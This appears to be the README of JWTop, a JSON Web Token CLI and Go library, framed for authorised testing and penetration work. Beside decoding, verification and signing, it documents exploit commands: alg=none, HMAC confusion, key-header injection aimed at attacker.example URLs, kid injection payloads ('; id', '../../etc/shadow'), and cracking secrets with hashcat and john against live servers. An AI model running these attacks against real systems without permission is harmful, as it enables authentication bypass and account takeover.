JWTop

September 9, 2026 · View on GitHub

JWTop

A fast, developer-friendly JWT operations toolkit — decode, verify, create, sign, crack, and exploit JSON Web Tokens.

Join Discord Build Release Coverage GoDoc Stars License


JWTop is a CLI for working with JSON Web Tokens. It covers the full JWT lifecycle — decoding, verifying, creating, and signing tokens — plus a security-testing layer for probing and exploiting common JWT vulnerabilities. (It's also available as a Go library — see Library Usage at the end of this README.)

  • Inspect — decode, diff, and verify tokens from the terminal, with human-readable claim descriptions and expiry status
  • Mint — create, sign, and re-sign tokens, and generate signing keys/secrets for any supported algorithm
  • Attack — built-in exploit primitives (alg=none, HMAC confusion, kid injection, JWK header injection, blank secret, null signature, psychic signature) and a server vulnerability scanner

Disclaimer: The exploit and crack functionality is intended for authorised security testing, penetration testing, CTF competitions, and educational purposes only. Never test systems you do not own or have explicit written permission to test.


Features

Feature
Decode JWT (no verification), with claim descriptions and expiry status
Verify signature (HMAC, RSA, ECDSA, JWKS)
Diff two or more tokens (header/claims/signature)
Create and sign new tokens
Generate signing keys / secrets (RSA, EC, EdDSA, HMAC)
Re-sign existing tokens
Crack HMAC secret (dictionary attack, optional john/hashcat fallback)
Probe server for JWT vulnerabilities
alg=none bypass
Blank secret
Null signature
HMAC confusion (RSA/EC → HMAC)
Psychic signature (ECDSA r=0, s=0)
kid injection (SQL, path traversal, command, LDAP, raw)
JWK header injection (CVE-2018-0114)

Installation

Using go install:

go install github.com/cerberauth/jwtop@latest

Using Docker:

docker run --rm ghcr.io/cerberauth/jwtop decode $TOKEN

See Docker below for volume mounts, Compose, and CI usage.

From source:

git clone https://github.com/cerberauth/jwtop.git
cd jwtop
go build -o jwtop .

Docker

Images are published on every release. The entrypoint is the jwtop binary, so any CLI command works after the image name:

docker run --rm ghcr.io/cerberauth/jwtop decode $TOKEN

Also available at cerberauth/jwtop on Docker Hub.

Commands that need a file on disk (verify --key, crack --wordlist, ...) require a volume mount:

docker run --rm -v "$(pwd)":/data ghcr.io/cerberauth/jwtop \
  crack $TOKEN --url https://api.example.com/protected --wordlist /data/secrets.txt

See the Docker guide for Compose usage, network joining to probe a co-located server, and building the dev image from source.

--john/--hashcat (see External cracking tools) need the respective binaries on the host and don't work inside this distroless image — run jwtop outside Docker, or build a custom image with them installed, to use those flags.


CLI Usage

jwtop [command] [flags]

Commands:
  find      Extract JWT tokens from text, a file, or stdin
  decode    Decode and pretty-print a JWT
  diff      Compare two or more JWTs and show header/claims/signature differences
  verify    Verify a JWT signature
  create    Create and sign a new JWT
  sign      Re-sign an existing JWT
  crack     Probe a server for JWT vulnerabilities
  exploit   Apply a known exploit to a JWT
  version   Print version information

Every command that accepts a <token> argument also reads it from stdin when the argument is omitted, so find composes directly into a pipeline: jwtop find --file page.html | jwtop decode.

find

Extract JWT tokens hidden anywhere in text — a URL, a JSON payload, an HTML page, an Authorization header, a log file — and print each one found, one per line.

jwtop find [text]
jwtop find --file <path>
echo <text> | jwtop find
# Extract every JWT from a captured HTTP response
curl -s https://api.example.com/profile | jwtop find

# Decode the first JWT found in a file
jwtop find --file response.html | head -1 | jwtop decode

# Verify every JWT in a log file
jwtop find --file app.log | while read tok; do
  jwtop verify "$tok" --secret mysecret && echo "OK: $tok"
done

decode

Decode and pretty-print a JWT without verifying the signature. By default, recognized header/claim fields get a short description appended right next to the value as an inline // comment, exp/nbf/iat also show a human-readable date, and a one-line expiry status is printed after the signature. Pass --raw for plain, valid JSON with none of that — e.g. for piping into jq.

jwtop decode <token>
echo <token> | jwtop decode
jwtop decode --raw <token>
jwtop decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzU2ODk2MDAsInN1YiI6MTIzNDU2Nzg5MH0.jMhZZlt521nYVwt2toBcu_JmifJj9cqDFHftZvZhWOs

Output:

Header:
{
  "alg": "HS256",  // Algorithm — how the token is signed (or "none")
  "typ": "JWT"  // Type — media type of the token, typically "JWT"
}

Claims:
{
  "exp": 1735689600,  // Expiration Time — token must be rejected after this time — 2025-01-01T00:00:00Z (616 days ago)
  "sub": 1234567890  // Subject — the principal the token is about
}

Signature:
jMhZZlt521nYVwt2toBcu_JmifJj9cqDFHftZvZhWOs

⚠ Token is EXPIRED (expired 616 days ago)

diff

Compare a base JWT against one or more other JWTs and report which header fields, claims, and the signature differ. Exits 1 if any differences are found — useful as a CI gate to catch unexpected token drift.

jwtop diff <base-token> <other-token> [<other-token>...]
jwtop find --file page.html | jwtop diff

--format text (default) prints a human-readable summary; --format json prints a machine-readable report for scripts and automation.

jwtop diff $OLD_TOKEN $NEW_TOKEN

Output:

Base: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

--- Token 1: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  Claims:
    - iat: 1516239022
    - name: "John Doe"
    + role: "admin"
  Signature: changed
jwtop diff $OLD_TOKEN $NEW_TOKEN --format json | jq '.diffs[0].claims'

verify

Verify a JWT signature and print its claims. Exits 1 if the token is invalid.

jwtop verify <token> [--secret <secret>] [--key <pem-file>] [--jwks <uri>]
FlagDescription
--secretHMAC secret string
--keyPath or URL to PEM public (or private) key file
--jwksJWKS endpoint URI
# HMAC
jwtop verify $TOKEN --secret mysecret

# RSA/ECDSA public key (file or URL)
jwtop verify $TOKEN --key /path/to/public.pem
jwtop verify $TOKEN --key https://example.com/public.pem

# JWKS endpoint
jwtop verify $TOKEN --jwks https://example.com/.well-known/jwks.json

create

Create and sign a new JWT.

jwtop create --alg <alg> (--secret <secret> | --key <pem-file>) [options]
FlagDescription
--algSigning algorithm, e.g. HS256, RS256, ES256 (required)
--secretHMAC secret string
--keyPath or URL to PEM private key file
--claim key=valueCustom claim (repeatable)
--subSubject claim
--issIssuer claim
--audAudience claim
--expExpiration duration, e.g. 1h, 30m
--iatInclude issued-at claim

Claim values are auto-parsed: integers and booleans are stored as their native types; everything else as a string.

# HS256 with claims
jwtop create --alg HS256 --secret mysecret \
  --sub user123 --iss myapp --exp 1h --iat \
  --claim role=admin --claim plan=pro

# RS256 with a private key
jwtop create --alg RS256 --key /path/to/private.pem --sub user123 --exp 24h

genkey

Generate signing key material for an algorithm, with the parameters under your control but weak choices refused: RSA keys are at least 2048 bits, HMAC secrets at least the MAC output size, and every byte comes from the crypto/rand CSPRNG. Private keys and secrets are PKCS#8 / PKIX PEM or an encoding you pick.

jwtop genkey --alg <alg> [options]
FlagDescription
--algTarget algorithm: HS256/384/512, RS*, PS*, ES256/384/512, EdDSA (required)
--rsa-bitsRSA modulus size (RSA only; default 2048, minimum 2048)
--secret-bytesHMAC secret length in bytes (HMAC only; default matches the MAC output size)
--secret-formatHMAC secret encoding: base64url (default), base64, hex, raw
--outWrite to this path instead of stdout; the public key goes to <out>.pub
--forceOverwrite existing files at --out
--public-onlyEmit only the public key (asymmetric algorithms only)
# HS256 secret to stdout (base64url)
jwtop genkey --alg HS256

# 64-byte HS512 secret as hex
jwtop genkey --alg HS512 --secret-bytes 64 --secret-format hex

# RSA 3072-bit key pair to files: private.pem (0600) + private.pem.pub (0644)
jwtop genkey --alg RS256 --rsa-bits 3072 --out private.pem

# ECDSA P-256 key pair, then mint a token with it
jwtop genkey --alg ES256 --out es256
jwtop create --alg ES256 --key es256 --sub user123

Treat the printed private key or secret as a credential: store it in a secret manager, never commit it, and rotate it on a schedule.


sign

Re-sign an existing JWT with a new algorithm or key. Original claims are preserved.

jwtop sign <token> --alg <alg> (--secret <secret> | --key <pem-file>)
FlagDescription
--algTarget signing algorithm, or none (required)
--secretHMAC secret string
--keyPath or URL to PEM private key file
# Change algorithm and key
jwtop sign $TOKEN --alg RS256 --key /path/to/private.pem

# Strip signature (alg=none)
jwtop sign $TOKEN --alg none

crack

Analyse a JWT for vulnerabilities. Without --url the analysis is offline (pure cryptographic checks, no network). With --url each exploit technique probes a live server.

# Offline — no URL required
jwtop crack <token> [--wordlist <file>] [--secret <s>...] [--workers <n>]

# Online — probe a live server
jwtop crack <token> --url <url> [--expected-status <n>] [--key <pem-file>] [--wordlist <file>] [--secret <s>...] [--workers <n>] [--delay <duration>]

# Online — add claim-mutation fuzzing
jwtop crack <token> --url <url> --fuzz [--fuzz-max-string-len <n>]
FlagDescription
--urlTarget URL to probe (omit for offline analysis)
--expected-statusHTTP status that signals a successful exploit (default 200)
--keyPath or URL to PEM public key for the hmacconfusion probe
--wordlistPath to a newline-delimited file of candidate secrets
--secretExplicit candidate secret (repeatable)
--workersConcurrent workers for secret brute-force (default 8)
--delayDelay between probe requests to the target URL, e.g. 200ms (default: no delay)
--kid-sql-tableTable name for the kid SQL injection payload (default tokens)
--kid-pathFile path for the kid path traversal payload (default /dev/null)
--jku-server-addrBind address for a local JWKS server used by the jkuinjection check, e.g. 0.0.0.0:8089 (must be reachable by the target; check is skipped if unset)
--x5u-server-addrBind address for a local certificate server used by the x5uinjection check, e.g. 0.0.0.0:8090 (must be reachable by the target; check is skipped if unset)
--token-inWhere to place the exploited JWT: header, cookie, query, or body (default header)
--token-nameHeader/cookie/query/form-field name for the JWT (default Authorization for header, token otherwise)
--token-prefixValue prefix before the token, e.g. Bearer (default Bearer only for the default Authorization header)
--johnFall back to the external john (john-the-ripper) tool for HMAC secret cracking if the built-in dictionary attack doesn't find it
--john-pathPath to the john binary — passing this implies --john, so PATH resolution is only needed when this is omitted
--hashcatFall back to the external hashcat tool for HMAC secret cracking if the built-in dictionary attack doesn't find it
--hashcat-pathPath to the hashcat binary — passing this implies --hashcat, so PATH resolution is only needed when this is omitted
--crack-timeoutMax time to let john/hashcat run before stopping them (default 5m)
--fuzzEnable claim-mutation fuzzing (type confusion, oversized strings, special characters, null) and flag responses that diverge from the baseline — requires --url
--fuzz-max-string-lenLength of the oversized-string payload used by --fuzz (default 10000)

--john/--hashcat are entirely optional and off by default; when either tool is detected on PATH but not enabled, jwtop prints a one-line suggestion to stderr. See External cracking tools below.

Offline checks (cryptographic proof, no server needed):

CheckWhat it detects
algnoneToken already uses alg=none
blanksecretToken is signed with an empty HMAC secret
nullsigToken has an empty signature segment
weaksecretCracks the HMAC signing secret via dictionary attack

Online-only checks (require --url): algnone$ ( \times 4 \text{casing} \text{variants}), $hmacconfusion (requires --key), psychicsig (ECDSA-only), kidinjection (SQL and path traversal), jwkinjection (RSA/ECDSA-only, CVE-2018-0114), jkuinjection (RSA/ECDSA-only, requires --jku-server-addr), x5cinjection (RSA/ECDSA-only), x5uinjection (RSA/ECDSA-only, requires --x5u-server-addr), fuzz (claim-mutation fuzzing, opt-in via --fuzz).

fuzz — off by default, enabled with --fuzz. Complements the fixed checks above by mutating every claim value (type confusion, an oversized string, special characters, an explicit null) and comparing each mutated response against a reference response captured from the original token. It flags a mutation when the response diverges: a 5xx status, a leaked stack trace/exception, or a body length far from the reference's — signs of a parsing bug the fixed checks don't target. --fuzz-max-string-len controls the oversized-string payload length.

Command and LDAP kid injection (jwtop exploit kidinjection --mode command|ldap) are exploit-only for now — the crack server probe does not yet include these two techniques.

# Offline — detect cryptographic weaknesses
jwtop crack $TOKEN

# Offline — crack the signing secret with a wordlist
jwtop crack $TOKEN --wordlist /path/to/secrets.txt --secret mysecret

# Online — probe a server with all techniques
jwtop crack $TOKEN --url https://api.example.com/protected

# Online — include hmacconfusion probe
jwtop crack $TOKEN --url https://api.example.com/protected --key public.pem

# Online — JWT expected in a cookie instead of Authorization header
jwtop crack $TOKEN --url https://api.example.com/protected --token-in cookie --token-name session

# Online — JWT expected as a query parameter
jwtop crack $TOKEN --url https://api.example.com/protected --token-in query --token-name access_token

# Online — JWT expected in a form-encoded POST body
jwtop crack $TOKEN --url https://api.example.com/protected --token-in body --token-name jwt

# Online — JWT expected in a custom header
jwtop crack $TOKEN --url https://api.example.com/protected --token-in header --token-name X-Auth-Token --token-prefix "Token "

# Online — add claim-mutation fuzzing to the fixed check set
jwtop crack $TOKEN --url https://api.example.com/protected --fuzz

Exits 0 when at least one vulnerability was found, 1 when none were.

External cracking tools (john / hashcat)

The built-in dictionary attack is a pure-Go, in-process brute force — fine for the embedded wordlist, but no match for john/hashcat on large wordlists. Both are optional and off by default:

# Fall back to john if the built-in attack misses
jwtop crack $TOKEN --wordlist /path/to/rockyou.txt --john

# Fall back to hashcat, with a custom binary path and a longer timeout
jwtop crack $TOKEN --wordlist /path/to/rockyou.txt --hashcat-path /opt/hashcat/hashcat.bin --crack-timeout 30m
  • jwtop auto-detects whether john/hashcat are installed on PATH and, if a tool is available but neither its bool flag nor its -path flag was passed, prints [i] john detected on PATH — pass --john (or --john-path) ... (or the hashcat equivalent) to stderr.
  • If a tool is enabled but doesn't finish before --crack-timeout, it's stopped and jwtop prints [!] <tool> timed out after <duration> without finding the secret — try a larger --crack-timeout or a smaller wordlist rather than silently reporting "not found".
  • Docker: the published image is distroless (no shell, no package manager), so --john/--hashcat cannot work inside it — run jwtop on the host, or build a custom image with these tools installed, to use them.
  • Installing the tools (Debian/Ubuntu):
    # hashcat + a CPU OpenCL runtime (hashcat errors "No devices found" without
    # one on machines with no GPU/vendor OpenCL driver)
    sudo apt update
    sudo apt install hashcat pocl-opencl-icd
    hashcat -I   # confirm a usable device is listed
    
    # john the ripper: `apt install john` alone is NOT enough — that's John
    # "core" 1.8.0, which lacks the HMAC-SHA256/384/512 formats this feature
    # needs. Install the community "jumbo" build via snap instead:
    sudo snap install john-the-ripper
    john --list=formats | grep -i hmac   # confirm HMAC formats are present
    
    The snap package installs under strict confinement (only home and removable-media are granted — no /tmp access), so jwtop keeps john's working files under $HOME rather than the system temp directory to remain compatible with it.

exploit

Apply a known security exploit to an existing JWT and print the modified token. Each subcommand is a standalone technique.

jwtop exploit <subcommand> <token> [flags]
SubcommandDescription
algnoneSet alg=none and strip the signature
blanksecretRe-sign with an empty HMAC secret
nullsigStrip the signature, keep the original alg header
hmacconfusionRe-sign an RSA/ECDSA token as HMAC using the public key PEM
psychicsigRe-sign an ECDSA token with an all-zero (r=0, s=0) signature
weaksecretDictionary-attack the HMAC signing secret
kidinjectionManipulate the kid header field and re-sign
jwkinjectionEmbed a self-signed JWK in the header and re-sign (CVE-2018-0114)
jkuinjectionPoint jku at an attacker-controlled JWKS URL and re-sign
x5cinjectionEmbed a self-signed certificate in the x5c header and re-sign
x5uinjectionPoint x5u at an attacker-controlled certificate URL and re-sign

algnone

jwtop exploit algnone $TOKEN
jwtop exploit algnone --all $TOKEN   # emit all capitalisation variants

blanksecret

jwtop exploit blanksecret $TOKEN

nullsig

jwtop exploit nullsig $TOKEN

hmacconfusion — re-signs RS*/ES*/PS* tokens as their HMAC equivalent using the server's public key PEM as the secret.

jwtop exploit hmacconfusion $TOKEN --key /path/to/public.pem
jwtop exploit hmacconfusion $TOKEN --key https://example.com/public.pem

psychicsig — re-signs ES256/ES384/ES512 tokens with an all-zero r=0, s=0 signature (CVE-2022-21449, "psychic signatures in Java").

jwtop exploit psychicsig $TOKEN

weaksecret — dictionary-attack the HMAC signing secret.

jwtop exploit weaksecret $TOKEN                                   # built-in wordlist
jwtop exploit weaksecret $TOKEN --secret mysecret --secret s3cr3t # explicit guesses
jwtop exploit weaksecret $TOKEN --wordlist /path/to/secrets.txt   # custom wordlist
jwtop exploit weaksecret $TOKEN --wordlist /path/to/rockyou.txt --hashcat  # fall back to hashcat if the built-in attack misses
FlagDescription
--wordlistNewline-delimited file of candidate secrets
--secretExplicit candidate secret (repeatable)
--workersConcurrent workers (default 8)
--johnFall back to the external john tool if the built-in attack doesn't find the secret
--john-pathPath to the john binary — passing this implies --john
--hashcatFall back to the external hashcat tool if the built-in attack doesn't find the secret
--hashcat-pathPath to the hashcat binary — passing this implies --hashcat
--crack-timeoutMax time to let john/hashcat run before stopping them (default 5m)

Prints the recovered secret on success (exit 0), exits 1 when not found. --john/--hashcat behave exactly as in crack: optional, off by default, auto-detected with a stderr advisory when available but unused, and installable per the instructions there.

kidinjection — manipulate the kid header and re-sign.

jwtop exploit kidinjection --mode sql $TOKEN                              # SQL injection (table: tokens)
jwtop exploit kidinjection --mode sql --sql-table keys $TOKEN             # SQL injection (custom table)
jwtop exploit kidinjection --mode path $TOKEN                             # path traversal to /dev/null
jwtop exploit kidinjection --mode path --path /proc/sys/kernel/ns_last_pid $TOKEN  # custom path
jwtop exploit kidinjection --mode command $TOKEN                         # shell metacharacter payload ("; id")
jwtop exploit kidinjection --mode command --all $TOKEN                   # one token per shell payload variant
jwtop exploit kidinjection --mode ldap $TOKEN                            # LDAP filter injection payload
jwtop exploit kidinjection --mode ldap --all $TOKEN                      # one token per LDAP payload variant
jwtop exploit kidinjection --mode raw --kid "../../etc/passwd" --secret "" $TOKEN

command mode targets servers that shell out using the kid value to locate a key file (e.g. openssl ... -in keys/$kid.pem). ldap mode targets servers that interpolate the kid value into an LDAP search filter to resolve a signing key (e.g. (&(objectClass=key)(kid=$kid))).

FlagDescription
--modesql, path, command, ldap, or raw (default sql)
--kidOverride the kid value
--secretHMAC secret to sign with (overrides mode default)
--sql-tableTable name for sql mode payload (default tokens)
--pathFile path for path mode payload (default /dev/null)
--allWith command or ldap mode, print one token per known payload variant

jwkinjection — generates a self-signed RSA/ECDSA key pair, embeds the public key directly in the token's jwk header field, and re-signs with the matching private key (CVE-2018-0114). Servers that trust an embedded jwk instead of validating against a known keyset accept the forged token.

jwtop exploit jwkinjection $TOKEN                            # generates an RS256 key pair
jwtop exploit jwkinjection $TOKEN --alg ES256                 # generates an ES256 key pair
jwtop exploit jwkinjection $TOKEN --key /path/to/private.pem  # re-sign with an existing key instead
FlagDescription
--algSigning algorithm for the generated key pair (default RS256)
--keyPath or URL to PEM private key file (overrides generating a new key pair)

jkuinjection — generates a self-signed RSA/ECDSA key pair, points the token's jku header at --url, and re-signs with the matching private key. --url must serve a JWKS document containing the matching public key — this command only sets the header and signs; it does not host the JWKS itself. Servers that fetch jku and trust its contents without validating the URL against an allowlist accept the forged token. To have jwtop also host the JWKS during a live probe, use jwtop crack --jku-server-addr instead.

jwtop exploit jkuinjection $TOKEN --url https://attacker.example/.well-known/jwks.json                            # generates an RS256 key pair
jwtop exploit jkuinjection $TOKEN --alg ES256 --url https://attacker.example/.well-known/jwks.json                # generates an ES256 key pair
jwtop exploit jkuinjection $TOKEN --key /path/to/private.pem --url https://attacker.example/.well-known/jwks.json # re-sign with an existing key instead
FlagDescription
--algSigning algorithm for the generated key pair (default RS256)
--keyPath or URL to PEM private key file (overrides generating a new key pair)
--urlAttacker-controlled URL serving a JWKS with the matching public key (required)

x5cinjection — generates a self-signed RSA/ECDSA key pair and a throwaway X.509 certificate, embeds the certificate's DER bytes directly in the token's x5c header field, and re-signs with the matching private key. Servers that trust a certificate embedded in x5c instead of validating it against a pinned CA or certificate store accept the forged token.

jwtop exploit x5cinjection $TOKEN                            # generates an RS256 key pair
jwtop exploit x5cinjection $TOKEN --alg ES256                 # generates an ES256 key pair
jwtop exploit x5cinjection $TOKEN --key /path/to/private.pem  # re-sign with an existing key instead
FlagDescription
--algSigning algorithm for the generated key pair (default RS256)
--keyPath or URL to PEM private key file (overrides generating a new key pair)

x5uinjection — generates a self-signed RSA/ECDSA key pair and a throwaway X.509 certificate, points the token's x5u header at --url, and re-signs with the matching private key. --url must serve the certificate as a PEM document — this command only sets the header and signs; it does not host the certificate itself. Servers that fetch x5u and trust its contents without validating the URL against an allowlist or pinned CA accept the forged token. To have jwtop also host the certificate during a live probe, use jwtop crack --x5u-server-addr instead.

jwtop exploit x5uinjection $TOKEN --url https://attacker.example/cert.pem                            # generates an RS256 key pair
jwtop exploit x5uinjection $TOKEN --alg ES256 --url https://attacker.example/cert.pem                # generates an ES256 key pair
jwtop exploit x5uinjection $TOKEN --key /path/to/private.pem --url https://attacker.example/cert.pem # re-sign with an existing key instead
FlagDescription
--algSigning algorithm for the generated key pair (default RS256)
--keyPath or URL to PEM private key file (overrides generating a new key pair)
--urlAttacker-controlled URL serving a PEM certificate with the matching public key (required)

Agent Skills

This repo ships four Agent Skills under skills/ — portable SKILL.md packages that teach a coding agent how to drive jwtop for decoding, auditing, and forging JWTs from plain-language requests instead of typed commands. The format is open and not tied to any one tool — Claude Code, Cursor, OpenCode, Codex, and other agents that support SKILL.md packages can all use them.

SkillTriggers on
jwtopGeneral driver for the full CLI — decode, verify, create, sign, crack, exploit
jwt-decode-explain"What's in this token" — plain-language decode + risk explanation, read-only
jwt-security-audit"Is this token/API secure" — runs crack, translates findings into a verdict + remediation
jwt-token-forge"Generate a test JWT with claims X" — mints signed fixture tokens, generates keys as needed

Install

The easiest way, for any agent, is npx skills — it detects which agent you're using and installs into the right directory automatically:

npx skills add cerberauth/jwtop --skill jwtop
npx skills add cerberauth/jwtop --skill jwt-decode-explain
npx skills add cerberauth/jwtop --skill jwt-security-audit
npx skills add cerberauth/jwtop --skill jwt-token-forge

Manual install, Claude Code: auto-discovers skills from .claude/skills/ (project) or ~/.claude/skills/ (personal) — a plain top-level skills/ directory isn't picked up on its own.

Inside a jwtop checkout:

ln -s ../skills .claude/skills

In any other project, to use these skills everywhere:

cp -r skills/jwtop skills/jwt-decode-explain skills/jwt-security-audit skills/jwt-token-forge ~/.claude/skills/

Manual install, other agents — consult your tool's docs for where it looks for SKILL.md packages; the files here follow the same open format, no jwtop-specific conventions.

Then ask your agent things like "what's in this JWT", "audit this token for vulnerabilities", or "give me an RS256 test token with sub=user123" — the matching skill triggers automatically.


Supported Algorithms

FamilyAlgorithms
HMACHS256, HS384, HS512
RSARS256, RS384, RS512
RSA-PSSPS256, PS384, PS512
ECDSAES256, ES384, ES512
Nonenone

Library Usage

Every CLI command is a thin wrapper around a composable Go package, published under this same module — install only what you need:

# Core operations (decode, verify, create, sign)
go get github.com/cerberauth/jwtop/jwt

# Token editor (re-sign and mutate existing tokens)
go get github.com/cerberauth/jwtop/jwt/editor

# Security exploit primitives
go get github.com/cerberauth/jwtop/jwt/exploit

# Server vulnerability prober
go get github.com/cerberauth/jwtop/jwt/crack

Core operations — jwt

import "github.com/cerberauth/jwtop/jwt"

Decode (no verification):

decoded, err := jwt.Decode(tokenString)
// decoded.Header    → map[string]interface{}
// decoded.Claims    → map[string]interface{}
// decoded.Signature → base64url string

Verify:

result, err := jwt.Verify(tokenString, jwt.VerifyOptions{
    Secret: []byte("mysecret"),
    // KeyPEM:  pemBytes,
    // JWKSURI: "https://example.com/.well-known/jwks.json",
})
// err is non-nil only for structural problems (malformed token, missing key).
// result.Valid is false when the signature doesn't match.
if result.Valid {
    fmt.Println("valid:", result.Claims)
} else {
    fmt.Println("invalid:", result.Error)
}

Create:

// HMAC
token, err := jwt.CreateWithSecret(jwt.CreateOptions{
    Algorithm:  "HS256",
    Claims:     map[string]string{"sub": "user123", "role": "admin"},
    Expiration: time.Hour,
    IssuedAt:   true,
}, []byte("mysecret"))

// Asymmetric
token, err = jwt.Create(jwt.CreateOptions{
    Algorithm: "RS256",
    Claims:    map[string]string{"sub": "user123"},
}, privateKey)

Generate keys:

// HMAC secret (crypto/rand; length defaults to the MAC output size, min enforced)
k, err := jwt.GenerateKeyPair(jwt.GenerateKeyOptions{Algorithm: "HS256"})
secret := k.Secret
b64url, _ := k.EncodeSecret(jwt.SecretFormatBase64URL)

// Asymmetric key pair (RSA >= 2048 enforced; PKCS#8 / PKIX PEM)
k, err = jwt.GenerateKeyPair(jwt.GenerateKeyOptions{Algorithm: "RS256", RSABits: 3072})
privPEM, pubPEM := k.PrivatePEM, k.PublicPEM

Token editor — jwt/editor

Parse an existing token (without verifying it) and re-sign with a different algorithm or key.

import "github.com/cerberauth/jwtop/jwt/editor"

te, err := editor.NewTokenEditor(existingToken)

signed, err := te.SignWithMethodAndKey(jwtlib.SigningMethodHS256, []byte("newsecret"))
signed, err  = te.SignWithKey(privateKey)
signed, err  = te.SignWithMethodAndRandomKey(jwtlib.SigningMethodRS256)
signed, err  = te.WithAlgNone()
noSig, err  := te.WithoutSignature()

// Adjust exp/nbf so the token is currently valid
valid := editor.NewTokenEditorWithValidClaims(te)

Exploit primitives — jwt/exploit

import "github.com/cerberauth/jwtop/jwt/exploit"

token, err  := exploit.AlgNone(tokenString)
tokens, err := exploit.AlgNoneAll(tokenString)      // all capitalisation variants
token, err   = exploit.BlankSecret(tokenString)
token, err   = exploit.NullSignature(tokenString)
token, err   = exploit.HMACConfusion(tokenString, pubPEM)
token, err   = exploit.KidSQLInjection(tokenString, exploit.DefaultKidSQLPayload, []byte("secret"))
token, err   = exploit.KidPathTraversal(tokenString, exploit.DefaultKidPathTraversalPayload, []byte(""))
token, err   = exploit.KidCommandInjection(tokenString, exploit.DefaultKidCommandInjectionPayload, []byte(""))
tokens, err  = exploit.KidCommandInjectionAll(tokenString, []byte(""))  // one token per shell payload variant
token, err   = exploit.KidLDAPInjection(tokenString, exploit.DefaultKidLDAPInjectionPayload, []byte(""))
tokens, err  = exploit.KidLDAPInjectionAll(tokenString, []byte(""))     // one token per LDAP payload variant
token, err   = exploit.KidInjection(tokenString, "../../etc/shadow", jwtlib.SigningMethodHS256, []byte(""))
token, err   = exploit.JWKInjection(tokenString, jwtlib.SigningMethodRS256)                    // generates key pair
token, err   = exploit.JWKInjectionWithKey(tokenString, jwtlib.SigningMethodRS256, privateKey) // use existing key
token, err   = exploit.JKUInjection(tokenString, jwtlib.SigningMethodRS256, jwksURL)                    // generates key pair
token, err   = exploit.JKUInjectionWithKey(tokenString, jwtlib.SigningMethodRS256, privateKey, jwksURL) // use existing key
token, srv, err := exploit.JKUInjectionWithLocalServer(tokenString, jwtlib.SigningMethodRS256, "127.0.0.1:0") // also hosts the JWKS
token, err   = exploit.X5CInjection(tokenString, jwtlib.SigningMethodRS256)                    // generates key pair + self-signed cert
token, err   = exploit.X5CInjectionWithKey(tokenString, jwtlib.SigningMethodRS256, privateKey) // use existing key
token, err   = exploit.X5UInjection(tokenString, jwtlib.SigningMethodRS256, certURL)                    // generates key pair + self-signed cert
token, err   = exploit.X5UInjectionWithKey(tokenString, jwtlib.SigningMethodRS256, privateKey, certURL) // use existing key
token, srv, err := exploit.X5UInjectionWithLocalServer(tokenString, jwtlib.SigningMethodRS256, "127.0.0.1:0") // also hosts the certificate

// HMAC secret cracking
result, err := exploit.CrackSecret(tokenString, exploit.WeakSecrets(), 8)
if result.Found {
    fmt.Println("secret:", result.Secret)
}
secrets, err := exploit.SecretsFromFile("/path/to/wordlist.txt")

Server prober — jwt/crack

import "github.com/cerberauth/jwtop/jwt/crack"

results, err := crack.ProbeAll(ctx, tokenString, crack.ProbeOptions{
    URL:            "https://api.example.com/protected",
    ExpectedStatus: 200,
    PublicKeyPEM:   pubPEM, // nil skips hmacconfusion
    Candidates:     exploit.DefaultSecrets,
    Workers:        8,
    // TokenLocation defaults to Authorization: Bearer <token> when omitted.
    TokenLocation: crack.TokenLocation{In: "cookie", Name: "session"},
    // Fuzz enables claim-mutation fuzzing (off by default); FuzzMaxStringLen
    // defaults to fuzz.DefaultMaxStringLen when left at 0.
    Fuzz: true,
})
for _, r := range results {
    switch {
    case r.Skipped:
        fmt.Printf("[-] %s  skipped (%s)\n", r.Name, r.SkipReason)
    case r.Err != nil:
        fmt.Printf("[!] %s  error: %v\n", r.Name, r.Err)
    case r.Status == 200:
        fmt.Printf("[+] %s  VULNERABLE\n", r.Name)
    default:
        fmt.Printf("[ ] %s  %d\n", r.Name, r.Status)
    }
}

Key utilities

pubKey, err  := jwt.LoadPublicKeyFromPEM(pemBytes)
privKey, err := jwt.LoadPrivateKeyFromPEM(pemBytes)
key, err     := jwt.GenerateKey(jwt.SigningMethodRS256)
keyfunc, err := jwt.FetchJWKS("https://example.com/.well-known/jwks.json")
method, err  := jwt.ParseSigningMethod("ES256")
ok           := jwt.IsJWT(tokenString)

Acknowledgements

  • jwt_tool by @ticarpi — the reference JWT attack toolkit. The exploit package reproduces the key attacks covered by jwt_tool: alg=none bypass, HMAC confusion, null signature, blank secret, and kid header injection.
  • vulnapi — the CerberAuth API vulnerability scanner, which provided the implementation patterns for the exploit and crack packages.

License

MIT © CerberAuth — see LICENSE for details.